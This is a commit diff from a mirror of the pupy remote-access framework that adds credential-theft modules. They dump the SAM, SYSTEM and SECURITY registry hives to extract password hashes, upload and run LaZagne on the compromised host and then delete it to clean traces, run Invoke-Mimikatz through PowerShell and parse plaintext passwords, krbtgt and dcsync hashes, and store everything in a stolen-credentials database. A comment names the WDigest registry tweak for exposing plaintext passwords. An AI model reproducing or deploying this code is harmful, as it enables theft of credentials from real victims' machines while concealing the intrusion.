mirror of https://github.com/n1nj4sec/pupy.git
new features
This commit is contained in:
parent
f3af4aa726
commit
aa78f6874b
File diff suppressed because one or more lines are too long
|
@ -15,7 +15,7 @@
|
|||
|
||||
from pupylib.PupyModule import *
|
||||
from pupylib.PupyCompleter import *
|
||||
|
||||
from pupylib.utils.credentials import Credentials
|
||||
from modules.lib.utils.shell_exec import shell_exec
|
||||
|
||||
from rpyc.utils.classic import download
|
||||
|
@ -55,7 +55,7 @@ class CredDump(PupyModule):
|
|||
for cmd in ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM /y", "reg save HKLM\\SECURITY %TEMP%/SECURITY /y", "reg save HKLM\\SAM %TEMP%/SAM /y"):
|
||||
self.info("running %s..." % cmd)
|
||||
self.log(shell_exec(self.client, cmd))
|
||||
self.success("hives saved!")
|
||||
self.success("hives saved!")
|
||||
remote_temp=self.client.conn.modules['os.path'].expandvars("%TEMP%")
|
||||
|
||||
self.info("downloading SYSTEM hive...")
|
||||
|
@ -107,11 +107,17 @@ class CredDump(PupyModule):
|
|||
self.success("dumping LM and NT hashes...")
|
||||
bootkey = get_bootkey(sysaddr)
|
||||
hbootkey = get_hbootkey(samaddr,bootkey)
|
||||
hashes = []
|
||||
for user in get_user_keys(samaddr):
|
||||
lmhash, nthash = get_user_hashes(user,hbootkey)
|
||||
if not lmhash: lmhash = empty_lm
|
||||
if not nthash: nthash = empty_nt
|
||||
self.log("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')))
|
||||
hashes.append({'hashes': "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')), 'Tool': 'Creddump'})
|
||||
|
||||
db = Credentials()
|
||||
db.add(hashes)
|
||||
self.success("Hashes stored on the database")
|
||||
|
||||
self.success("dumping lsa secrets...")
|
||||
secrets = get_file_secrets(os.path.join(rep, "SYSTEM"), os.path.join(rep, "SECURITY"), is_vista)
|
||||
|
|
|
@ -0,0 +1,28 @@
|
|||
from pupylib.PupyModule import *
|
||||
from pupylib.utils.credentials import Credentials
|
||||
import os
|
||||
|
||||
__class_name__="Creds"
|
||||
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),".."))
|
||||
|
||||
# @config(category="admin")
|
||||
class Creds(PupyModule):
|
||||
""" database containing all passwords found """
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="Creds", description=self.__doc__)
|
||||
self.arg_parser.add_argument('--show','-S', action='store_true', help='print all passwords on the database')
|
||||
self.arg_parser.add_argument('--flush', '-F', action='store_true', help='flush the entire database')
|
||||
|
||||
def run(self, args):
|
||||
if args.flush:
|
||||
warning = raw_input("[!] Are you sure to flush the database ? [y/N]")
|
||||
if warning == 'y':
|
||||
Credentials().flush()
|
||||
self.success("Database removed")
|
||||
else:
|
||||
self.warning("Nothing done")
|
||||
elif args.show:
|
||||
Credentials().show()
|
||||
|
||||
|
|
@ -0,0 +1,110 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
from pupylib.PupyCompleter import *
|
||||
from rpyc.utils.classic import upload
|
||||
from pupylib.utils.credentials import Credentials
|
||||
import tempfile
|
||||
import subprocess
|
||||
import os.path
|
||||
|
||||
__class_name__="LaZagne"
|
||||
|
||||
@config(cat="exploit")
|
||||
class LaZagne(PupyModule):
|
||||
"""
|
||||
execute LaZagne (Windows / Linux)
|
||||
"""
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="lazagne", description=self.__doc__)
|
||||
|
||||
def run(self, args):
|
||||
platform=self.client.desc["platform"]
|
||||
isWindows = True
|
||||
if "Windows" in platform:
|
||||
lazagne_path = self.client.pupsrv.config.get("lazagne","win")
|
||||
elif "Linux" in platform:
|
||||
isWindows = False
|
||||
if "64" in self.client.desc["os_arch"]:
|
||||
lazagne_path = self.client.pupsrv.config.get("lazagne","linux_64")
|
||||
else:
|
||||
lazagne_path = self.client.pupsrv.config.get("lazagne","linux_32")
|
||||
else:
|
||||
self.error("Platform not supported")
|
||||
return
|
||||
|
||||
if not os.path.isfile(lazagne_path):
|
||||
self.error("laZagne exe %s not found ! please edit laZagne section in pupy.conf"%lazagne_path)
|
||||
self.error('Find releases on github: https://github.com/AlessandroZ/LaZagne/releases')
|
||||
return
|
||||
|
||||
tf = tempfile.NamedTemporaryFile()
|
||||
dst = tf.name
|
||||
if isWindows:
|
||||
remoteTempFolder = self.client.conn.modules['os.path'].expandvars("%TEMP%")
|
||||
tfName = tf.name.split(os.sep)
|
||||
tfName = tfName[len(tfName)-1] + '.exe'
|
||||
dst = self.client.conn.modules['os.path'].join(remoteTempFolder, tfName)
|
||||
tf.file.close()
|
||||
|
||||
self.success("Uploading laZagne to: %s" % dst)
|
||||
upload(self.client.conn, lazagne_path, dst)
|
||||
|
||||
if not isWindows:
|
||||
self.success("Adding execution permission")
|
||||
cmd = ["chmod", "+x", dst]
|
||||
output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
|
||||
|
||||
self.success("Executing")
|
||||
cmd = [dst, "all"]
|
||||
output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
|
||||
self.success("%s" % output)
|
||||
|
||||
creds = self.parse_output(output)
|
||||
db = Credentials()
|
||||
db.add(creds)
|
||||
self.success("Passwords stored on the database")
|
||||
|
||||
self.success("Cleaning traces")
|
||||
self.client.conn.modules['os'].remove(dst)
|
||||
|
||||
def parse_output(self, output):
|
||||
creds = []
|
||||
toSave = False
|
||||
ishashes = False
|
||||
cpt = 0
|
||||
for line in output.split('\n'):
|
||||
if not toSave:
|
||||
if "##########" in line:
|
||||
user='%s' % line.replace('##########', '').split(':')[1].strip()
|
||||
|
||||
if "---------" in line:
|
||||
category='%s' % line.replace('-', '').strip()
|
||||
|
||||
if " found !!!" in line:
|
||||
toSave = True
|
||||
cred = {}
|
||||
else:
|
||||
if not line or line == '\r':
|
||||
if ishashes:
|
||||
cpt+=1
|
||||
if cpt > 1 or not ishashes:
|
||||
toSave = False
|
||||
ishashes = False
|
||||
if cred:
|
||||
cred['Tool']="LaZagne"
|
||||
cred['System user'] = user
|
||||
cred['Category'] = category
|
||||
creds.append(cred)
|
||||
else:
|
||||
# not store hashes => creddump already does it
|
||||
if not ishashes:
|
||||
if "hashes: " in line:
|
||||
ishashes = True
|
||||
cpt = 0
|
||||
else:
|
||||
try:
|
||||
key, value = line.split(':', 1)
|
||||
cred[key] = value.strip()
|
||||
except:
|
||||
pass
|
||||
return creds
|
|
@ -20,10 +20,11 @@ def execute_powershell_script(module, content, function):
|
|||
p.stdin.write("$a=Invoke-Expression %s | Format-Table -HideTableHeaders | Out-String\n" % function)
|
||||
p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
|
||||
p.stdin.write("Write-Host $b\n")
|
||||
|
||||
|
||||
# Get the result
|
||||
output = ""
|
||||
for i in p.stdout.readline():
|
||||
output += i
|
||||
output = base64.b64decode(output)
|
||||
return output
|
||||
p.stdin.write("exit\n")
|
||||
return output
|
||||
|
|
|
@ -0,0 +1,163 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
import os
|
||||
import re
|
||||
from modules.lib.windows.powershell_upload import execute_powershell_script
|
||||
from pupylib.utils.credentials import Credentials
|
||||
|
||||
__class_name__="Mimikatz_Powershell"
|
||||
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),".."))
|
||||
|
||||
@config(compat="windows", category="admin")
|
||||
class Mimikatz_Powershell(PupyModule):
|
||||
"""
|
||||
execute mimikatz using powershell
|
||||
"""
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="Mimikatz_Powershell", description=self.__doc__)
|
||||
|
||||
def run(self, args):
|
||||
|
||||
# check if windows 8.1 or Win2012 => reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
|
||||
|
||||
content = open(os.path.join(ROOT, "external", "PowerSploit", "Exfiltration", "Invoke-Mimikatz.ps1"), 'r').read()
|
||||
function = 'Invoke-Mimikatz'
|
||||
|
||||
output = execute_powershell_script(self, content, function)
|
||||
|
||||
self.success("%s" % output)
|
||||
|
||||
creds = self.parse_mimikatz(output)
|
||||
db = Credentials()
|
||||
db.add(creds)
|
||||
self.success("Credentials stored on the database")
|
||||
|
||||
def parse_mimikatz(self, data):
|
||||
"""
|
||||
Parse the output from Invoke-Mimikatz to return credential sets.
|
||||
This was directly stolen from the Empire project as well.
|
||||
"""
|
||||
|
||||
# cred format:
|
||||
# credType, domain, username, password, hostname, sid
|
||||
creds = []
|
||||
|
||||
# regexes for "sekurlsa::logonpasswords" Mimikatz output
|
||||
regexes = ["(?s)(?<=msv :).*?(?=tspkg :)", "(?s)(?<=tspkg :).*?(?=wdigest :)", "(?s)(?<=wdigest :).*?(?=kerberos :)", "(?s)(?<=kerberos :).*?(?=ssp :)", "(?s)(?<=ssp :).*?(?=credman :)", "(?s)(?<=credman :).*?(?=Authentication Id :)", "(?s)(?<=credman :).*?(?=mimikatz)"]
|
||||
|
||||
hostDomain = ""
|
||||
domainSid = ""
|
||||
hostName = ""
|
||||
|
||||
lines = data.split("\n")
|
||||
for line in lines[0:2]:
|
||||
if line.startswith("Hostname:"):
|
||||
try:
|
||||
domain = line.split(":")[1].strip()
|
||||
temp = domain.split("/")[0].strip()
|
||||
domainSid = domain.split("/")[1].strip()
|
||||
|
||||
hostName = temp.split(".")[0]
|
||||
hostDomain = ".".join(temp.split(".")[1:])
|
||||
except:
|
||||
pass
|
||||
|
||||
for regex in regexes:
|
||||
|
||||
p = re.compile(regex)
|
||||
|
||||
for match in p.findall(data):
|
||||
|
||||
lines2 = match.split("\n")
|
||||
username, domain, password = "", "", ""
|
||||
|
||||
for line in lines2:
|
||||
try:
|
||||
if "Username" in line:
|
||||
username = line.split(":",1)[1].strip()
|
||||
elif "Domain" in line:
|
||||
domain = line.split(":",1)[1].strip()
|
||||
elif "NTLM" in line or "Password" in line:
|
||||
password = line.split(":",1)[1].strip()
|
||||
except:
|
||||
pass
|
||||
|
||||
if username != "" and password != "" and password != "(null)":
|
||||
|
||||
sid = ""
|
||||
|
||||
# substitute the FQDN in if it matches
|
||||
if hostDomain.startswith(domain.lower()):
|
||||
domain = hostDomain
|
||||
sid = domainSid
|
||||
|
||||
if self.validate_ntlm(password):
|
||||
credType = "hash"
|
||||
|
||||
else:
|
||||
credType = "password"
|
||||
|
||||
# ignore machine account plaintexts
|
||||
if not (credType == "password" and username.endswith("$")):
|
||||
creds.append({'domain': domain, 'user': username, credType:password, 'hostName': hostName, 'sid':sid, 'Tool': 'mimikatz'})
|
||||
|
||||
if len(creds) == 0:
|
||||
# check if we have lsadump output to check for krbtgt
|
||||
# happens on domain controller hashdumps
|
||||
for x in xrange(8,13):
|
||||
if lines[x].startswith("Domain :"):
|
||||
|
||||
domain, sid, krbtgtHash = "", "", ""
|
||||
|
||||
try:
|
||||
domainParts = lines[x].split(":")[1]
|
||||
domain = domainParts.split("/")[0].strip()
|
||||
sid = domainParts.split("/")[1].strip()
|
||||
|
||||
# substitute the FQDN in if it matches
|
||||
if hostDomain.startswith(domain.lower()):
|
||||
domain = hostDomain
|
||||
sid = domainSid
|
||||
|
||||
for x in xrange(0, len(lines)):
|
||||
if lines[x].startswith("User : krbtgt"):
|
||||
krbtgtHash = lines[x+2].split(":")[1].strip()
|
||||
break
|
||||
|
||||
if krbtgtHash != "":
|
||||
creds.append({'domain': domain, 'user': user, 'krbtgt hash': krbtgtHash, 'hostName': hostName, 'sid':sid, 'Tool': 'mimikatz'})
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
if len(creds) == 0:
|
||||
# check if we get lsadump::dcsync output
|
||||
if '** SAM ACCOUNT **' in lines:
|
||||
domain, user, userHash, dcName, sid = "", "", "", "", ""
|
||||
for line in lines:
|
||||
try:
|
||||
if line.strip().endswith("will be the domain"):
|
||||
domain = line.split("'")[1]
|
||||
elif line.strip().endswith("will be the DC server"):
|
||||
dcName = line.split("'")[1].split(".")[0]
|
||||
elif line.strip().startswith("SAM Username"):
|
||||
user = line.split(":")[1].strip()
|
||||
elif line.strip().startswith("Object Security ID"):
|
||||
parts = line.split(":")[1].strip().split("-")
|
||||
sid = "-".join(parts[0:-1])
|
||||
elif line.strip().startswith("Hash NTLM:"):
|
||||
userHash = line.split(":")[1].strip()
|
||||
except:
|
||||
pass
|
||||
|
||||
if domain != "" and userHash != "":
|
||||
creds.append({'domain': domain, 'user': user, 'hash': userHash, 'dcName': dcName, 'sid':sid, 'Tool': 'mimikatz'})
|
||||
|
||||
return creds
|
||||
|
||||
def validate_ntlm(self, data):
|
||||
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
|
||||
if allowed.match(data):
|
||||
return True
|
||||
else:
|
||||
return False
|
|
@ -22,6 +22,11 @@ sound_player = totem
|
|||
exe_Win32=/usr/share/mimikatz/Win32/mimikatz.exe
|
||||
exe_x64=/usr/share/mimikatz/x64/mimikatz.exe
|
||||
|
||||
[lazagne]
|
||||
win=/usr/share/lazagne/laZagne.exe
|
||||
linux_32=/usr/share/lazagne/LaZagne-32bits
|
||||
linux_64=/usr/share/lazagne/LaZagne-64bits
|
||||
|
||||
[aliases]
|
||||
info = get_info
|
||||
pyexec = pyexec
|
||||
|
@ -35,3 +40,4 @@ getpid = getpid
|
|||
getppid = getppid
|
||||
pwd = pyexec -c 'import os;print os.getcwd()'
|
||||
#tasklist = shell_exec 'tasklist /v'
|
||||
creds = creds -S
|
|
@ -80,13 +80,17 @@ class ThreadPool(object):
|
|||
|
||||
def join(self):
|
||||
while True:
|
||||
allok=True
|
||||
for t in self.thread_pool:
|
||||
if t.isAlive():
|
||||
t.join(0.5)
|
||||
allok=False
|
||||
if allok:
|
||||
break
|
||||
try:
|
||||
allok=True
|
||||
for t in self.thread_pool:
|
||||
if t.isAlive():
|
||||
t.join(0.5)
|
||||
allok=False
|
||||
if allok:
|
||||
break
|
||||
except KeyboardInterrupt:
|
||||
print "Press [ENTER] to interrupt the job"
|
||||
pass
|
||||
|
||||
def all_finished(self):
|
||||
for t in self.thread_pool:
|
||||
|
|
|
@ -0,0 +1,65 @@
|
|||
import os
|
||||
import json
|
||||
|
||||
class Credentials():
|
||||
def __init__(self):
|
||||
ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__),"..", "..", "db"))
|
||||
dbName = 'creds.json'
|
||||
|
||||
# check if the db exists
|
||||
self.db = ROOT + os.sep + dbName
|
||||
if not os.path.exists(ROOT):
|
||||
os.makedirs(ROOT)
|
||||
|
||||
if not os.path.exists(self.db):
|
||||
f = open(self.db, "w")
|
||||
f.write('{"creds": []}')
|
||||
f.close()
|
||||
|
||||
# check if dictionnary already exists in dictionnary_tab
|
||||
def checkIfExists(self, dictionnary, dictionnary_tab):
|
||||
for d in dictionnary_tab:
|
||||
shared_items = set(d.items()) & set(dictionnary.items())
|
||||
if len(shared_items) == len(d):
|
||||
return True
|
||||
return False
|
||||
|
||||
def add(self, data):
|
||||
with open(self.db) as json_db:
|
||||
db = json.load(json_db)
|
||||
|
||||
for d in data:
|
||||
if not self.checkIfExists(d, db['creds']):
|
||||
db['creds'].append(d)
|
||||
|
||||
with open(self.db, 'w') as json_db:
|
||||
json_db.write(json.dumps(db))
|
||||
|
||||
def show(self):
|
||||
tool = ""
|
||||
with open(self.db) as json_db:
|
||||
data = json.load(json_db)
|
||||
|
||||
# List sorted by Tools
|
||||
data = sorted(data['creds'], key=lambda d: d["Tool"], reverse=True)
|
||||
for creds in data:
|
||||
if "Tool" in creds:
|
||||
if tool != creds["Tool"]:
|
||||
print '\n---------- %s ---------- \n' % creds["Tool"]
|
||||
tool = creds["Tool"]
|
||||
del creds["Tool"]
|
||||
|
||||
if tool == 'Creddump':
|
||||
for cred in creds:
|
||||
if creds[cred]:
|
||||
print '%s' % creds[cred]
|
||||
else:
|
||||
for cred in creds:
|
||||
if creds[cred]:
|
||||
print '%s: %s' % (cred, creds[cred])
|
||||
print
|
||||
print
|
||||
|
||||
def flush(self):
|
||||
if os.path.exists(self.db):
|
||||
os.remove(self.db)
|
Loading…
Reference in New Issue